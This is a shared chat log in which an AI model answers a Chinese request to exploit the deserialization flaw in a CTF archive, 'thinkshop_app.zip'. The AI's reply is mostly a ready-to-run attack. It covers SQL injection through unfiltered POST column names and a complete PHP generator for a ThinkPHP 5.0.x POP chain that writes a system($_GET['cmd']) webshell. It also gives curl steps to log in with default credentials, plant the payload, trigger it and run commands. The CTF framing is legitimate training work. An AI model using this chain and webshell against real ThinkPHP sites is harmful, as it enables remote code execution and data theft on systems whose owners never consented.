分析一下反序列化漏洞列,给出如何获取flag信息?

作成日: 2026年5月26日

使用モデル GPT-5.5 Thinking by Chat01

質問

thinkshop_app.zip

分析一下反序列化漏洞列,给出如何获取flag信息?

思考

undefined

思考

Planning the exploit explanation and presentation

I’m considering including code that generates and exploits without a huge payload. It’s important to write the final explanation in Chinese, detailing the vulnerability, the exploit chain (including each function call), and the steps involved. I'll also want to provide a Python skeleton, include actual commands, and mention safety considerations. I’ll need to include citations without raw URLs and reference previous articles for clarity.

Thought for 6m 21s

回答

下面按这份 thinkshop_app.zip 的源码来分析,结论是:可以通过后台任意列名 SQL 注入把恶意序列化数据写入 goods.data,再访问商品详情触发 unserialize(),利用 ThinkPHP 5.0.21 POP 链写 WebShell,最后读 /fffflllaaaagggg 附件本地的 flag 文件内容是占位值:flag=FLAG;真实题目环境一般读取同路径文件即可。

1. 漏洞入口

触发点在两个模板里:

php
unserialize(base64_decode($goods['data']))

分别位于:

text
application/index/view/index/goods.html application/index/view/admin/goods_edit.html

Goods::getGoodsById() 只检查:

php
substr($data[0]['data'], 0, 3) !== "YTo"

这只是检查 base64 后是否以 YTo 开头,也就是序列化数组 a: 的 base64 前缀。绕过方式很简单:外层用数组包对象

php
base64_encode(serialize([恶意对象]))

这样 base64 一定以 YTo 开头,但数组内部仍然可以是对象。

ThinkPHP 5.0.x 的常见 POP 思路是通过 think\Model::__toString() 进入 toJson() / toArray(),再转到 think\console\Output::__call(),最终配合缓存驱动写文件;公开分析也指出 TP5.0.4–5.0.24 可使用这一类链条。(GitHub)

2. 如何把恶意数据写入数据库

后台账号在 shop.sql 中:

text
admin / 123456

后台更新商品时调用:

php
Update::updatedata($data, 'goods', $data['id']);

它对 value 做了 bin2hex(),但 没有过滤 POST 的 key

php
$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";

所以 POST 参数名可以注入 SQL。构造类似参数名:

sql
data`=unhex('PAYLOAD_HEX') WHERE `id`=1#

最终会把 goods.id=1data 列改成你的恶意 base64 序列化 payload。

3. 生成 payload

payload 目标:写入一个 WebShell:

php
<?php system($_GET["cmd"]); ?>

生成器示例:

php
<?php // gen_payload.php namespace think { abstract class Model implements \JsonSerializable, \ArrayAccess { protected $connection = []; protected $parent; protected $query; protected $name; protected $table; protected $class; protected $error; protected $validate; protected $pk; protected $field = []; protected $except = []; protected $disuse = []; protected $readonly = []; protected $visible = []; protected $hidden = []; protected $append = []; protected $data = []; protected $origin = []; protected $relation = []; protected $auto = []; protected $insert = []; protected $update = []; protected $autoWriteTimestamp; protected $createTime = 'create_time'; protected $updateTime = 'update_time'; protected $dateFormat; protected $type = []; protected $isUpdate = false; protected $replace = false; protected $force = false; protected $updateWhere; protected $failException = false; protected $useGlobalScope = true; protected $batchValidate = false; protected $resultSetType; protected $relationWrite; public function jsonSerialize(): mixed { return []; } public function offsetSet(mixed $a, mixed $b): void {} public function offsetExists(mixed $a): bool { return false; } public function offsetUnset(mixed $a): void {} public function offsetGet(mixed $a): mixed { return null; } } } namespace think\model { class Pivot extends \think\Model {} } namespace think\model\relation { class HasOne extends \think\model\Relation {} } namespace think\model { abstract class Relation { protected $parent; protected $model; protected $query; protected $foreignKey; protected $localKey; protected $baseQuery; protected $selfRelation; protected $bindAttr = []; } } namespace think\db { class Query { protected $connection; protected $builder; protected $model; } } namespace think\console { class Output { private $verbosity = 1; private $handle = null; protected $styles = ['info','error','comment','question','highlight','warning']; } } namespace think\session\driver { class Memcached { protected $handler = null; protected $config = []; } } namespace think\cache { abstract class Driver { protected $handler = null; protected $options = []; protected $tag; } } namespace think\cache\driver { class File extends \think\cache\Driver { protected $expire; } } namespace payload { function set_prop($obj, $prop, $val) { $ref = new \ReflectionClass($obj); while (!$ref->hasProperty($prop)) { $ref = $ref->getParentClass(); } $p = $ref->getProperty($prop); $p->setAccessible(true); $p->setValue($obj, $val); } $shell = '<?php system($_GET["cmd"]); ?>'; $prefix = base64_encode($shell); $file = new \think\cache\driver\File(); set_prop($file, 'tag', true); set_prop($file, 'options', [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => $prefix, 'path' => 'php://filter/convert.base64-decode/resource=./', 'data_compress' => false, ]); $sess = new \think\session\driver\Memcached(); set_prop($sess, 'handler', $file); set_prop($sess, 'config', [ 'host'=>'127.0.0.1', 'port'=>11211, 'expire'=>3600, 'timeout'=>0, 'session_name'=>'', 'username'=>'', 'password'=>'' ]); $out = new \think\console\Output(); set_prop($out, 'handle', $sess); set_prop($out, 'styles', ['info','error','comment','question','highlight','warning','getAttr']); $q = new \think\db\Query(); set_prop($q, 'model', $out); $rel = new \think\model\relation\HasOne(); set_prop($rel, 'query', $q); set_prop($rel, 'selfRelation', false); set_prop($rel, 'bindAttr', ['no_such_data_key' => 'x']); $pivot = new \think\model\Pivot(); set_prop($pivot, 'parent', $out); set_prop($pivot, 'error', $rel); set_prop($pivot, 'append', ['getError']); set_prop($pivot, 'data', []); $payload = base64_encode(serialize([$pivot])); echo $payload . PHP_EOL; echo "shell_path=/public/$prefix/3b58a9545013e88c7186db11bb158c44.php" . PHP_EOL; }

运行:

bash
php gen_payload.php

得到的第一行就是 PAYLOAD。然后转 hex:

bash
PAYLOAD='生成器输出的第一行' HEX=$(echo -n "$PAYLOAD" | xxd -p -c 256)

4. 利用流程

登录后台:

bash
curl -i -c cookie.txt \ -d 'username=admin&password=123456' \ 'http://目标/public/index.php/index/admin/do_login'

把 payload 写入 goods.data

bash
curl -i -b cookie.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary "id=1&name=a&price=1&on_sale_time=2023-01-01+00%3A00%3A00&image=a&data=x&data%60%3Dunhex%28%27${HEX}%27%29%20WHERE%20%60id%60%3D1%23=x" \ 'http://目标/public/index.php/index/admin/do_edit'

触发反序列化并写 WebShell:

bash
curl -i 'http://目标/public/index.php/index/index/goods/id/1'

读取 flag:

bash
curl 'http://目标/public/PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+/3b58a9545013e88c7186db11bb158c44.php?cmd=cat%20/fffflllaaaagggg'

如果是本地附件环境,/fffflllaaaagggg 的内容是:

text
flag=FLAG

真实远程题目中同样读 /fffflllaaaagggg,返回值就是实际 flag。

このQ&Aを共有